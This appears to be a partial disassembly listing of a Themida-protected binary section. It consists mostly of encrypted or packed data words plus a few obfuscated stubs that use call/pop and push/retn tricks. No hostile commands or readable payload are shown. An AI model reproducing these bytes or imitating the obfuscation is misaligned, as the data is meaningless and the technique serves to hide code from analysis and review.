616C346h, 0E0FFC503h dd 6266A836h, 24B7B1AAh, 3EA7B047h, 3078FD53h, 1D2B7123h dd 68579A58h, 42F7B0F1h, 69190B67h, 3ED2FBF5h, 28DA45BDh dd 3AD6BEEEh, 494C8AC9h, 0B5919EDh, 43A96C8Ch, 49DFD28Fh dd 6D502FA9h, 7A3E1C88h, 4BE6A879h, 281E3531h, 4CC9B09Ch dd 39EBh, 2CC00AFh, 2E400AFh, 0AFh, 400B0000h, 4CF85348h dd 44B66251h, 40983640h, 79A5B4Bh, 29975A41h, 65B9626Bh dd 5DB03669h, 471A466Ah, 4CCD5E71h, 49DF5244h, 36EEA3AEh dd 0E97C3036h, 0C1AC364Fh, 29FD3626h, 763D6905h, 2D5B4AACh dd 2D9B72A4h, 29DF3633h, 412C6162h, 251ECD43h, 94FB3625h dd 426DD63Dh, 7A025086h, 0AA7F09A3h, 3AA91398h, 20AA3623h dd 56E8BA6h, 5DF73036h, 0A2A8663Ch, 2D448EE5h, 0AC773625h dd 2F6C3B58h, 80C2ABA8h, 0FA203030h, 946C6E7Eh, 2FE41AA4h dd 79EC4225h, 2D448E76h, 0AC773625h, 2F6C3B58h, 8FD3ABA8h dd 0FA203030h, 29856E7Eh, 29F4DE77h, 73DB3625h, 7D746CE6h dd 6D7F3201h, 29683201h, 7BFD3625h, 761E13E6h, 0FC5ABF3Ch dd 4FF12535h, 0E970E5AEh, 29FD38CCh, 736F7E25h, 0B562BF63h dd 0C1E64A90h, 0A2573349h, 3AF063A8h, 0C872F023h, 7FFD2534h dd 0C1AF364Fh, 29FE3626h, 73BC6C05h, 2D9B62ACh, 2DFB72A4h dd 29EF363Eh, 2F346467h, 0B9394DD2h, 28B52B38h, 3ADF77B8h dd 760B5E23h, 77ED5020h, 0F7FB32A4h, 43D9957Dh, 2A1F6725h dd 9FB3625h, 0A0A4F57Ch, 0A8FA1269h, 347B1261h, 68BF3625h dd 994F574h, 0C52335B6h, 5A97ACFEh, 3A82A314h, 9C023036h dd 2FED28CCh, 0BCF6CEAEh, 2FAC17C8h, 55ECB3A8h, 0E06E3033h dd 7345C684h, 2991E6DAh, 29FEDE74h dd 70DE3625h, 65F66FE6h, 6D3E3201h, 29C53201h, 78AE3625h dd 23A82AE6h, 0A495C186h, 18C48BACh, 2D943036h, 0C128364Fh dd 29BF3626h, 761C6905h, 2DCB4AACh, 2DD372A4h, 29FB3639h dd 93E6162h, 94D384F5h, 0A61D7333h, 29B9BB2Ah, 94D43625h dd 2FFC0478h, 29F73CCCh, 62DC1025h, 72CB2009h, 41DE6182h dd 61F569D4h, 0D89B02A4h, 9797BC6Ah, 0F326911h, 7C302D4Dh dd 29FDDEE6h, 0B25D3625h, 17BCE9E3h, 0D7BB77Bh, 15150DF4h dd 0C188364Fh, 29EF3626h, 76346905h, 2DDF4AACh, 2DD972A4h dd 29FE363Dh, 0C2BC6162h, 0B8936A32h, 29DF33CCh, 89AFA025h dd 299D03A5h, 2C168BAEh, 0F9023036h, 288BABACh, 0ACF63036h dd 2FA9F26Dh, 228ABBACh, 0D1643036h, 29F5FA20h, 657EBF25h dd 0AAFB20E1h, 0AC772EE5h, 2F69F275h, 0C506F616h, 0DADF3627h dd 78EF5C8Fh, 29F735CDh, 0EAA21625h, 0DB1BF7Ch, 0DBAB721h dd 297F2321h, 0EAEE7725h, 0BC54427Fh, 2FFC338Ch, 0D576AE9Bh dd 79FB5C21h, 29FD35CDh, 0EAA61625h, 0D3BBF7Dh, 0DFBB721h dd 29DF2321h, 0EABF7625h, 0A47C8F87h, 2FE83FC0h, 381CB3E3h dd 26BD3036h, 297F30A0h, 832BD25h, 0C1D92533h, 29EF3621h dd 0B5905D7Bh, 29FB38CCh, 62AE1925h, 38D3A8CDh, 1675053Eh dd 79FFB741h, 6D54F9AEh, 73B83201h, 799736AEh, 0E7705077h dd 72AF072Ah, 0A2986E7Fh, 6DF657DCh, 7BEF3201h, 29DF27CDh dd 70C35225h, 48730C9Dh, 0EDE6F756h, 625476F0h, 3B17017Bh dd 227F3625h, 0E2607360h, 788BFBF0h, 4A97AF80h, 0BE43C821h dd 18F46849h, 0A29B6475h, 78CF39DEh, 73276C7Ch, 29D56E7Dh dd 29DCDE76h, 72CF3625h, 757E6DE6h, 6D7A3201h, 29E73201h dd 7ABD3625h, 0FCD4CDE6h, 46636008h, 3DA8BACh, 9C103036h dd 2FE428CCh, 0C1AC364Fh, 29FD3626h, 763D6905h, 2D5B4AACh dd 2D9B72A4h, 29DF3630h, 5E2C6162h, 0E4CE893Eh, 0AC7679ADh dd 2FEB4A16h, 0C1A8364Fh, 297F3626h, 777C6805h, 2DFB42ACh dd 2DCB72A4h, 29F73630h, 8C386063h, 0EF7C503Ah, 0F901E446h dd 0C12E364Fh, 29BF3626h, 701C6F05h, 2DCB7AACh, 2DD372A4h dd 29FB3639h, 3D3E6764h, 9BA453E6h, 9B799C9Ah, 5E2B3ACh dd 29B53036h, 29ECDE74h, 70D73625h, 65726FE6h, 6D7C3201h dd 29E53201h, 783E3625h, 57B195E6h, 0C08699EDh, 0A4F0843Eh dd 3AFB4FA0h, 78FB5C23h, 29FD35CDh, 0EAA71625h, 0D33BF7Ch dd 0DFBB721h, 29DF2021h, 0EABE7725h, 0A0265A71h, 3AE6AB90h dd 0D878BF23h, 90F82522h, 7268A16h, 29B9B32Ah, 0BCEE3625h dd 2FFC2488h, 3816B3E3h, 43A83036h, 2A156025h, 9FE3625h dd 0A021F57Bh, 0A8BB1251h, 30DB1261h, 6FEF3625h, 0EE76F573h dd 54B323DBh, 0AAF2C345h, 29FE3626h, 48F1F0A5h, 29BF3CCDh dd 2BD94C25h, 199F9D1Dh, 90691D81h, 1BCDFC44h, 0BC703D7Ch dd 41F82533h, 0F7510B68h, 29BCBD2Ah, 0A2B93625h, 0DEBB7EFh dd 37743DAEh, 0C1A8364Fh, 29FD3626h, 723D6D05h, 2D5B6AACh dd 2D9B72A4h, 29DF363Ch, 0B22C6566h, 0B1BE3474h, 0C04EC9DBh dd 43FB253Bh, 2A166125h, 97F3625h, 0A0E0F57Ah, 0A8DB1259h dd 31EB1261h, 6EF73625h, 4E7BF572h, 0A08962BFh, 3AEDE398h dd 0DEFE5023h, 0AC3220F4h, 2FC94A16h, 261EA3ACh, 0F9083036h dd 18F2A3ACh, 0A0013036h, 3AF39FA0h, 7C7F5C23h, 29BF35CDh dd 0EA821625h, 0D83BF78h, 0DB3B721h, 29FB2021h, 0EAA87325h dd 3942A3h, 3A6E53A0h, 2F363923h, 0A0DF3625h, 3AE2F390h dd 0C872F023h, 7AFD2534h, 0C1AD364Fh, 29FE3626h, 71BC6E05h dd 2D9B72ACh, 2DFB72A4h, 29EF3638h, 92346665h, 67655D58h dd 4C63060Fh, 5873BF92h, 79250Dh, 3ABAB7A8h, 0BED5E23h dd 1D6ED3B2h, 0A611B701h, 0D2705018h, 371483DAh, 0AC733036h dd 2F694A16h, 0C1EE364Fh, 29DF3626h, 702C6F05h, 2DD37AACh dd 2DDF72A4h, 29FD3633h, 633D6764h, 0F9800AB7h, 2C428B24h dd 0AC563036h, 2FFC3F4Ch, 0A9248F43h, 381AB3E3h, 4FBA3036h dd 0BC75E1AEh, 2F6C3860h, 29BF32CDh, 0F7029F25h, 22B48992h dd 9CA765C2h, 0DBFBD5Ch, 29F2DE21h, 6BE53625h, 62E1E887h dd 0EFA90A70h, 7CEBC3C9h, 0A289560Ah, 481FBCFFh, 0A0FBBD7Fh dd 0A2F91261h, 29946ED2h, 297CDE76h, 729F3625h, 75566DE6h dd 6D6E3201h, 29E33201h, 7AB83625h, 9C02B2E6h, 2FED28CCh dd 554CB3A8h, 29D53033h, 29DCDE75h, 71CF3625h, 6D7E6EE6h dd 6D7A3201h, 29E43201h, 79BE3625h, 51445BE6h, 0D6367C80h dd 7BDF5CF5h, 29EF35CDh, 0EAAD1625h, 0DAFBF7Fh, 0DB9B721h dd 29FE2D21h, 0EA2D7425h, 576E2B59h, 0D5732E0Ch, 29F9B42Ah dd 381E3625h, 0AAFB3625h, 3C8860B1h, 2381B7B8h, 65EA75E6h dd 4B5D1709h, 29D2B3ACh, 29853036h, 29F4DE73h, 77DB3625h dd 5D7468E6h, 6D7F3201h, 29673201h, 7FF93625h, 69F741E6h dd 0AC291427h, 2FE427C4h, 29FFDE62h, 39873625h, 2E16B7F9h dd 307F3625h, 0C533EAC8h, 0D95584BEh, 2607667Ch, 30F73625h dd 0F60209D0h, 0FDBA93FAh, 0EEB9E858h, 0A2192CB1h, 6D3468DFh dd 7B8F3201h, 261CBD43h, 404E5014h, 0A2A36C23h, 327B3925h dd 0C1FE3625h, 297F3637h, 530EEA45h, 977A920Fh, 0EF535229h dd 0B72CC69Fh, 0A29D561Bh, 6D746CEEh, 0AEF13201h, 297F3625h dd 7BBF5C7Dh, 29DF35CDh, 0EAB51625h, 0DA3BF7Fh, 0DBFB721h dd 29FD2F21h, 0EAAC7425h, 17BD2787h, 9C40D699h, 2FCC28CCh dd 0A438812Ah, 3F8B05A0h, 7EFB5C23h, 29FD35CDh, 0EAA11625h db 7Ah dword_5B8EA1 dd 210D03BFh ; Themida_:005D4B51r db 0B7h, 0FBh, 0Dh dd 29DF2221h, 0EAB87125h, 744ABDECh, 0D6FD2507h, 7BFD5CF5h dd 29FE35CDh, 0EA251625h, 0DEBBF7Fh, 0D9BB721h, 29EF2021h dd 0EAA57425h, 0C18A1902h, 29FD3620h, 932363D7h, 2AF83900h dd 26BF3625h, 0A080C59Ah, 3AF613A0h, 241E6623h, 0E2FB3625h dd 2E39A159h, 627D57D1h, 13E39A9Dh, 0C83AF07Bh, 6ED92534h dd 29EBDEDDh, 15AA3625h, 79AB9CE8h, 79CC3977h, 29713977h dd 267F3625h, 0E0898814h, 71850B6Ch, 6D646E7Fh, 2E1F3201h dd 9BFB3625h, 0E5455D62h, 0A2A139B6h, 262D6625h, 29BF20ADh dd 29CEDF25h, 142C3625h, 0A3389EAFh, 4EA37FE7h, 0EE03DF47h dd 265FCEB0h, 54BA8C14h, 71E51E2Ah, 2DFB72ACh, 18E06475h dd 26AF6E7Fh, 29FB35AAh, 0FE423925h, 371783DAh, 29153036h dd 29BCDE72h, 76FF3625h, 556669E6h, 6D763201h, 29EF3201h dd 7EBA3625h, 0A4FD26E6h, 2F6C1E78h, 0E2AE8943h, 55ECB3A8h dd 0E2653033h, 299DE6DAh, 29F8DE77h, 73DD3625h, 7D776CE6h dd 6DFE3201h, 29A43201h, 7B9D3625h, 33F3FBE6h, 9D911D69h dd 0A035BDBAh, 3AECF7A0h, 29793923h, 0D67F3625h, 79BF5CF5h dd 29DF35CDh, 0EAB71625h, 0DB3BF7Dh, 0DBFB721h, 29FD2321h dd 0EAAE7625h, 0A4F48D41h, 2FAC2B70h, 38AB3ACh, 29853036h dd 29F4DE74h, 70DB3625h, 65746FE6h, 6D7F3201h, 296A3201h dd 78FE3625h, 0D5ACBBE6h, 0C137BA43h, 29F7362Ch, 0F8E4871Eh dd 420007ADh, 244BBD3Bh, 77792536h, 29D53201h, 29DCDE70h dd 74CF3625h, 457E6BE6h, 6D7A3201h, 29E83201h, 7CBB3625h dd 0A86C39E6h, 69BA97FFh, 261F3C39h, 29EC93A1h, 7AF75C25h dd 29FB35CDh, 0EAA61625h, 0DA2BF7Eh, 0D3BB721h, 29BF2221h dd 0EA8C7525h, 0AC29CEAFh, 2FE427C4h, 5046BD6Ah, 0C1FB253Ah dd 29FE3621h, 96FF5AE1h, 0F9345075h, 2DFB72AEh, 29FDDF76h dd 1B2A3625h, 6AC7E66Fh, 4E4EEE79h, 853A98F2h, 0B517B4ADh dd 26BFBD7Bh, 29DF33ADh, 0D4608C25h, 6D7E3B45h, 979D3201h dd 43A5E23Ah, 2A166525h, 97F3625h, 0A0E4F57Eh, 0A8DB1279h dd 3FEB1261h, 6AF73625h, 0F2F6F576h, 29F1DFE0h, 4E073625h dd 4766F3A8h, 7CE398DAh, 26BF30C2h, 29EF30AFh, 6862BF25h dd 26FD252Eh, 0D69CC99Ah, 3AE0DF90h, 7C7F5C23h, 29BF35CDh dd 0EA821625h, 0D83BF78h, 0DB3B721h, 29FB2E21h, 0EAA87325h dd 28870E05h, 1AFABBD4h, 49B92059h, 333AABACh, 0B4EC3036h dd 2FE407A8h, 0D12BC944h, 6708BAEh, 0E97D3036h, 379F8C01h dd 0AC36171Ch, 2FCC3C18h, 184ABBACh, 0AC7C3036h, 2FE81C70h dd 0C1AA364Fh, 29FE3626h, 76BC6905h, 2D9B4AACh, 2DFB72A4h dd 29EF363Ch, 10346162h, 9379C472h, 0E860BD51h, 43F82534h dd 2A976625h, 9BF3625h, 0A087F57Dh, 0A8EB1261h, 3FF31261h dd 69FB3625h, 0AF17F575h, 29F3DF05h, 461E3625h, 31BB7C5h dd 0B5F4840Bh, 6A4DDDAEh, 0C1A2364Fh, 29FB3626h, 743E6B05h dd 2DDA5AACh, 2D5B72A4h, 29BF363Dh, 91C6360h, 5785197Fh dd 1DABB2Eh, 0A39B3036h, 0DE4239EDh, 0A2E5BD44h, 3A6DB3B0h dd 43A4BD23h, 2A376525h, 9EF3625h, 0A0ACF57Eh, 0A8FF1279h dd 3CF91261h, 6AFE3625h, 1B77F576h, 29D52DAEh, 29DCDE73h dd 77CF3625h, 5D7E68E6h, 6D7A3201h, 29E63201h, 7FB83625h dd 82AE76E6h, 431D605Eh, 0CC4A05B6h, 0A0E92509h, 3AE1B798h dd 43230523h, 2A156425h, 9FE3625h, 0A025F57Fh, 0A8BB1271h dd 34DB1261h, 6BEF3625h, 0DE3CF577h, 0B4404703h, 0E6872F2h dd 0DF475073h, 0B4F66C68h, 2FAC339Ch, 0C18E364Fh, 29EF3626h dd 70346F05h, 2DDF7AACh, 2DD972A4h, 29FE3631h, 0CCBC6764h dd 2850E3A5h, 3AD5FF90h, 0C86AF023h, 6EF12534h, 0AF19B743h dd 0AAF256DCh, 29FE3623h, 3DF2A3AEh, 0A4B03036h, 29DF3624h dd 28757DDh, 0A86A8B49h, 98791211h, 0D6081C46h, 3AE0DF90h dd 7C7F5C23h, 29BF35CDh, 0EA821625h, 0D83BF78h, 0DB3B721h dd 29FB2F21h, 0EAA87325h, 0D95CE263h, 0A22FFDF6h, 0BC3669EFh dd 2FCC3BA4h, 3B42BB06h, 0AC7A3036h, 2FED4A16h, 0C1AD364Fh dd 29FE3626h, 71BC6E05h, 2D9B72ACh, 2DFB72A4h, 29EF3639h dd 75346665h, 71E90108h, 6EFD1D43h, 2994E6DAh, 297CDE77h dd 739F3625h, 7D566CE6h, 6D6E3201h, 29E03201h, 7BB93625h dd 0D91D0EE6h, 604315A4h, 0A0792530h, 3ABF3BA0h, 79DF5C23h dd 29EF35CDh, 0EAAF1625h, 0DBFBF7Dh, 0DB9B721h, 29FE2D21h dd 0EA2F7625h, 29BBAB33h, 5CF9B543h, 78EF5C65h, 29F735CDh dd 0EAA21625h, 0DB1BF7Ch, 0DBAB721h, 297F2E21h, 0EAEE7725h dd 1842B3FDh, 0FB6E50DDh, 297C568Ah, 0C1AA364Fh, 29FD3626h dd 703D6F05h, 2D5B7AACh, 2D9B72A4h, 29DF363Ch, 0CC2C6764h dd 299837EAh, 6C761FFEh, 0A2FB2514h, 0E8475025h, 68FABF3Fh dd 26B92520h, 0DB36C792h, 43EF3625h, 2A1F6725h, 9FB3625h dd 0A0A4F57Ch, 0A8FA1269h, 347B1261h, 68BF3625h, 0CC5EF574h dd 86959274h, 418F3EDEh, 0AC764D90h, 2FEBF24Bh, 3CB8BAEh dd 932F3036h, 0CFEFF4Eh, 43FB32ACh, 2A076725h, 9F73625h dd 0A0A2F57Ch, 0A8F91269h, 32FA1261h, 687F3625h, 0F184F574h dd 0BA23106Dh, 0BC10411Ah, 2FE427C8h, 0A435BD43h, 3F3942B8h dd 5C73BD23h, 0A0792515h, 3AB67FB8h, 93B9A523h, 0A2BF545Dh dd 299DA5D5h, 29F8DE77h, 73DD3625h, 7D776CE6h, 6DFE3201h dd 29A53201h, 7B9D3625h, 0B8F047E6h, 13876342h, 7902812Ah dd 29F1B92Ah, 0A4F13625h, 297F3623h, 29BFB02Ah, 2D563625h dd 29FFDE01h, 940A3625h, 18D7B83h, 4CAC8FCh, 5BC93B95h dd 0BC4E48D6h, 2FAC12A0h, 3C4AC97Ch, 0A2E92536h, 1472BFF5h dd 4FFD252Fh, 0A20E159Fh, 3AEC3BB0h, 0C8FAF023h, 7AB92534h dd 0C18C364Fh, 29EF3626h, 72346D05h, 2DDF6AACh, 2DD972A4h dd 29FE363Fh, 86BC6566h, 0C8F0D59Eh, 0BC56A733h, 2FFC3834h dd 29F732CDh, 0AE7F4925h, 790FBD8Fh, 2DDA72AEh, 0EEF9E59Ch dd 4FBFBD11h, 0A021A79Ch, 0A2EB1261h, 299D6EF4h, 29F8DE76h dd 72DD3625h, 75776DE6h, 6DFE3201h, 29A23201h, 7A9C3625h dd 276946E6h, 9F3C1CEEh, 4F2AE630h, 0D60A359Ah, 3AE0DF90h dd 7B7F5C23h, 29BF35CDh, 0EA851625h, 0DBBBF7Fh, 0DB3B721h dd 29FB2E21h, 0EAAF7425h, 0B9264507h, 94E21F56h, 0D0B9252Dh dd 55ECB3A8h, 268F3033h, 29F733A6h, 0D97A5025h, 94765CE0h dd 2FED2C98h, 0AFC944h, 3AB97B90h, 0BC5ABF23h, 43E9253Bh dd 2A1F6325h, 9FB3625h, 0A0A0F578h, 0A8FA1249h, 347B1261h dd 6CBF3625h, 4263F570h, 0EA86B57Ah, 3FAC614Dh, 22298F43h dd 381CB3E3h, 0A0B93036h, 3A74D7A0h, 29BBDE23h, 3C4F3625h dd 0A2E09757h, 29F73620h, 0ED45ED9Ch, 25146637h, 0EBFE3625h dd 29012061h, 0E750AE35h, 0A2F77BBDh, 49EB1261h, 0A291E1AEh dd 297057F2h, 29F4BF2Ah, 9D9E3625h, 19E18DF7h, 0A0DE5A68h dd 0A2DB1261h, 0A5E06EDFh, 29F73626h, 0A005812Ah, 3AE0DB90h dd 0C04BC923h, 9879253Bh, 1A3ABBCBh, 43D92059h, 2A076125h dd 9F73625h, 0A0A4F57Ah, 0A8F91259h, 3CFA1261h, 6E7F3625h dd 67A1F572h, 19FE8BACh, 0F9103036h, 0A025892Ah, 3AC91FA0h dd 78FD5C23h, 29FE35CDh, 0EA261625h, 0DF3BF7Ch, 0D9BB721h dd 29EF2B21h, 0EAA67725h, 3AA034DEh, 0AB4F797Bh, 0AC38FADFh dd 2F6C27C4h, 0D7083976h dd 0D5B8B24Dh, 22505080h, 0DC3B78Ah, 153E0E31h, 9C02C6AFh dd 2FED28CCh, 37BE8B0Ch, 0AC323036h, 2FC94A16h, 2F9E469Bh dd 0A227C936h, 3ADB17B0h, 0A078BF23h, 9FF82538h, 0C8FAF0CEh dd 7EB92534h, 1868316h, 0B7873036h, 97678A76h, 47775E30h dd 0B1D902A4h, 78FE8E24h, 2979BE2Ah, 94363625h, 2FCC1FECh dd 0C05AC97Ch, 43F1253Bh, 2A136425h, 9FD3625h, 0A0A4F57Fh dd 0A87B1271h, 3EBB1261h, 6BDF3625h, 0E5FF577h, 824991C0h dd 0A4BADC2Fh, 3F8105A0h, 78FE5C23h, 297F35CDh, 0EAE61625h dd 0D93BF7Ch, 0DABB721h, 29F72321h, 0EAAA7725h, 0A4765253h dd 2FED368Ch, 0A219E6DAh, 843ABFEEh, 0A0D92514h, 3ADBC3B8h dd 0C872F023h, 6AFD2534h, 0C420C7A4h, 2D161307h, 17F3625h dd 7803A655h, 79812293h, 8D5E6177h, 6D7C687Ch, 7BAB3201h dd 29FD38CCh, 93906C25h, 70307DEDh, 614736Ch, 26353B90h dd 0C0D48914h, 71AD728Bh, 0A29D36AEh, 0DB9BFEEh, 29EADE21h dd 0B1053625h, 0E07EA7Ch, 12108958h, 1C1235B7h, 465A324h dd 7BAB1FB8h, 29FD27CDh, 0F6C15D25h, 0DDB1E5E0h, 0BDA9DC7Bh dd 370A54FEh, 26B5FFC7h, 733DBD14h, 0C0A3687Dh, 29FD3636h dd 58D04D86h, 0EDA0CE16h, 70C6962Ah, 0FA292EE6h, 0D6743194h dd 3AE9DF90h, 79FB5C23h, 29FD35CDh, 0EAA61625h, 0D3BBF7Dh dd 0DFBB721h, 29DF2F21h, 0EABF7625h, 0B1C24C4Fh, 2C12E63Fh dd 8FFD3625h, 40331EDFh, 297F39CDh, 56DEEE25h, 0B41410Fh dd 22B1C136h, 729BE009h, 709AC345h, 55CEB3A8h, 29943033h dd 297CDE73h, 779F3625h, 5D5668E6h, 6D6E3201h, 29ED3201h dd 7FBD3625h, 5D649FE6h, 2ED803D5h, 8028C43h, 0F03EE6DAh dd 39E566AAh, 3B66B3ACh, 299D3036h, 29F8DE72h, 76DD3625h dd 557769E6h, 6DFE3201h, 29A83201h, 7E983625h, 0D88627E6h dd 3A773903h, 0C1FB3625h, 29FD362Dh, 0FF3D59FFh, 0CE932E4Ch dd 2C7EB743h, 0AC526CF7h, 2FF9F241h, 0C1A0364Fh, 29FB3626h dd 763E6905h, 2DDA4AACh, 2D5B72A4h, 29BF3633h, 421C6162h dd 0A8897E44h, 0A00B30D4h, 3AEC43B8h, 20156623h, 0A4FE3625h dd 0D4A78081h, 118190E9h, 77BE5677h, 0DEBBF7Bh, 0C1A1364Fh dd 29FB3626h, 773E6805h, 2DDA42ACh, 2D5B72A4h, 29BF3638h dd 0F81C6063h, 0D10D91E5h, 0AAD4DAF1h, 0C46EC9A8h, 26FB2534h dd 29FE3FA9h, 2AF63925h, 26BF3625h, 0F154C59Ah, 22BA83ACh dd 0A47E3036h, 2FE81494h, 0EDA5B3A8h, 0A2983033h, 7B2FA6F6h dd 87597D9Bh, 0A2EE3964h, 79B76CF6h, 29F2BD2Ah, 75413625h dd 0B9E752E1h, 0C1A9364Fh, 297F3626h, 767C6905h, 2DFB4AACh dd 2DCB72A4h, 29F7363Ch, 23386162h, 5534791Eh, 264466C8h dd 0A00229AEh, 29D51239h, 29DCDE77h, 73CF3625h, 7D7E6CE6h dd 6D7A3201h, 29E83201h, 7BBC3625h, 0A0A420E6h, 3A9CC7A0h dd 3C4AC923h, 26E92536h, 0AC7EC692h, 2FE81734h, 0C1AE364Fh dd 29FE3626h, 72BC6D05h, 2D9B6AACh, 2DFB72A4h, 29EF363Eh dd 27346566h, 0D5545363h, 263DBEEFh, 29FE30A9h, 90EABD25h dd 0EEB92536h, 3AD417A0h, 29EF3923h, 7FF75C25h, 29FB35CDh dd 0EAA31625h, 0D8ABF7Bh, 0D3BB721h, 29BF2E21h, 0EA897025h dd 8FA260B9h, 0E07ABD78h, 4FFD253Eh, 0D6DD2D9Bh, 3ADF27B0h dd 7E7F5C23h, 29BF35CDh, 0EA801625h, 0D93BF7Ah, 0DB3B721h dd 29FB2D21h, 0EAAA7125h, 7497E37Ah, 328D70B0h, 124EAF9Ah dd 485ABF44h, 26E92517h, 29F730A4h, 0B31B725h, 0A2CAF617h dd 3AD26BA0h, 0D2E2BB23h, 0A0B920F2h, 94523766h, 2FFC3A5Ch dd 0FE2283A8h, 1A423033h, 0DAFD3625h, 91CDDD81h, 297F3625h dd 2ACBF62Eh, 0A2DF2EE7h, 7AE31261h, 29F736CDh, 0EA7A6D25h dd 29FD3632h, 39DA6AACh, 3D5B72ACh, 0D3888E7Eh, 0C9203694h dd 2DCB72AEh, 299DD6DAh, 29F8DE75h, 71DD3625h, 6D776EE6h dd 6DFE3201h, 29A53201h, 799F3625h, 90C607E6h, 0D754355Dh dd 26124193h, 0BAFD3625h, 2009C208h, 0AE8AE727h, 0CB248E8h dd 43BED13Eh, 2A076025h, 9F73625h, 0A0A5F57Bh, 0A8F91251h dd 3FFA1261h, 6F7F3625h, 2659F573h, 7162BB97h, 0A4E920E1h dd 3F2F4DA8h, 82CE8E23h, 0ACCEAE03h, 2FED2250h, 0AE49F90Eh dd 3636EEA3h, 4FE97C30h, 26C1AC36h, 529FD36h, 0AC763D69h dd 0A42D5B4Ah, 5E98372h, 0D98BA4F3h, 95BF6660h, 858B5781h dd 6133531h, 5BE9615Eh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 9E2EC355h dd 182AE61Bh, 0FCEECDF7h, 0CE9h, 63D40D00h, 43CF3740h dd 0D949A581h, 0BE961ADh, 0C0000000h, 4A3D0352h, 9F4B78B1h dd 0E9C35218h, 0Eh, 5C92AA93h, 0F2B8E199h, 0E64707EDh dd 0C08BA45Eh, 25BD83F8h, 61316h, 0BD830975h, 6132C81h dd 50197400h, 0B8C08B53h, 4B9h, 31158589h, 9D8D0613h, 615A9E4h dd 585BD3FFh, 2C81BD83h, 74000613h, 0B8535017h, 4B9h, 31158589h dd 9D8D0613h, 615A685h, 585BD3FFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 20C35545h, 0A870Fh, 5E90000h dd 0AA000000h, 3EAF7771h, 0AE9FCh, 13580000h, 195FC125h dd 0CE2C63A0h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 235E9FC3h, 0E99E5735h, 12h, 0C2FFB29Ah dd 33EEA76Ch, 69E33EFh, 5B1DAE6Eh, 40F87BC4h, 0D8BEC18Bh dd 0EB5D52EBh, 4, 0C1858900h, 8D06131Eh, 131EA985h, 19D8906h dd 90061315h, 5E8h, 65ED1800h, 505E5DC4h, 8F78BE52h, 905F07CEh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A3C35040h dd 0F103E622h, 318D01B8h, 8B06130Fh, 131ABDB5h, 6A006A06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0CE52C352h, 0A59968E5h, 8D89006Ah, 61309A1h dd 0DB86858Dh, 83FC0616h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 67F2BAC3h, 0D9117BBCh dd 509039E5h, 5E8h, 109C6200h, 75BF0BA4h, 5F77A217h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0E45AFFFAh, 0BF28ACh, 0E850Fh, 29600000h, 13256D9Dh dd 0DDB58B06h, 61061325h, 21B58Bh, 6A0613h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 60C35545h, 891E5DE8h dd 132B998Dh, 0B006A06h, 130F91BDh, 10E906h, 27F80000h dd 1B71863Dh, 0DD39B753h, 1F48A7B6h, 95FF8D2Eh, 61307F1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 71C35646h dd 0BD2B2C85h, 613207Dh, 0A36A9D8Dh, 7DBF0616h, 0FF4A3F03h dd 57006AD3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0E48F91F7h, 0BCADC83h, 132B91BDh, 0D985FF06h dd 66061316h, 0DE9BC781h, 889E9h, 0E800h, 815D0000h, 16DB90EDh dd 399D0106h, 81061301h, 130B21BDh, 7D006h, 0C7860F00h dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 76B4C356h, 0EEF36281h, 63E2A867h dd 14619D8Bh, 6A0613h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 6414A3C3h, 8127A904h, 100E3h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 9D899564h dd 6131F0Dh, 0BF78B66h, 9B850FDBh, 8B000000h, 0D7BD83FBh dd 616D9h, 2D840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 82975AC3h, 0A3867FADh dd 8CE9h, 0E18D2900h, 0C7061322h, 16D9D785h, 106h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0E9FE304Ah, 8, 0A5A62526h, 0B04C5968h, 4CE9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 9FC65BA7h, 0D6612EDh, 85C7781Dh, 616D9D7h, 0 ; --------------------------------------------------------------------------- call sub_5B9FB2 test [ecx+7], ebx mov bl, 84h clc push ss mov dh, bl jbe short loc_5B9FF2 sbb eax, 37A8C223h daa ; =============== S U B R O U T I N E ======================================= sub_5B9FB2 proc near ; CODE XREF: Themida_:005B9F9Cp mov esi, [ebp+6131D75h] pop edi lea ebx, [ebp+6131461h] push 0 push ebx call sub_5B9FCA and [ebx-3Dh], bl sub_5B9FB2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B9FCA proc near ; CODE XREF: sub_5B9FB2+10p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5B9FCA endp ; --------------------------------------------------------------------------- dw 0E29Ah dd 0A3B76D2Dh, 8D099452h, 6132A35h, 0FEFF2381h, 6AFFFFh db 55h, 0E8h ; --------------------------------------------------------------------------- loc_5B9FF2: ; CODE XREF: Themida_:005B9FAAj add eax, [eax] ; --------------------------------------------------------------------------- dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0AB7B0EC3h, 4D421C55h, 0E8608A5Ah, 0Ch, 9B6072F2h, 0D812B786h dd 0EBA5BB19h, 6E8h, 5A50E100h, 5FA6B43Fh, 0C98D8B5Ah dd 61061319h, 21BD29h, 8C660613h, 53006ADBh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E9C51083h dd 14h, 0EBC6CF1h, 858DA7E1h, 57BC6330h, 4003671Fh, 